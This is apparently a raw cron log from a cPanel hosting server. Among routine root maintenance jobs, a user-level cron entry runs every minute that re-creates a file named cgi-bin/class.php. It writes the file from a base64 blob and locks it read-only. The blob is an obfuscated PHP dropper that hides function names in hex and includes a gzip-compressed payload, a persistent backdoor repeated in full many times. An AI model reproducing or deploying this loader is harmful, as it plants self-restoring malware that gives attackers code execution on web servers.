Sep  8 11:40:01 server CROND[26725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:40:01 server CROND[26727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:40:01 server CROND[26729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:40:01 server CROND[26728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:40:01 server CROND[26732]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:40:01 server CROND[26731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:40:01 server CROND[26730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:40:01 server CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:41:01 server CROND[27569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:41:01 server CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:41:01 server CROND[27571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:42:01 server CROND[27946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:42:01 server CROND[27948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:42:01 server CROND[27947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:42:02 server CROND[27949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:43:01 server CROND[28429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:43:01 server CROND[28431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:43:01 server CROND[28430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:44:01 server CROND[28862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:44:01 server CROND[28863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:44:01 server CROND[28864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:45:01 server CROND[29255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:45:01 server CROND[29256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:45:01 server CROND[29257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:45:01 server CROND[29265]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:45:01 server CROND[29266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:45:01 server CROND[29267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:45:01 server CROND[29268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:46:01 server CROND[30107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:46:01 server CROND[30109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:46:01 server CROND[30108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:47:01 server CROND[30491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:47:01 server CROND[30493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:47:01 server CROND[30492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:48:01 server CROND[30978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:48:01 server CROND[30979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:48:01 server CROND[30980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:49:01 server CROND[31367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:49:01 server CROND[31366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:49:01 server CROND[31368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:50:01 server CROND[31785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:50:01 server CROND[31793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:50:01 server CROND[31794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:50:01 server CROND[31800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:50:01 server CROND[31798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:50:01 server CROND[31795]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:50:01 server CROND[31796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:50:01 server CROND[31799]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:50:01 server CROND[31797]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:51:01 server CROND[32635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
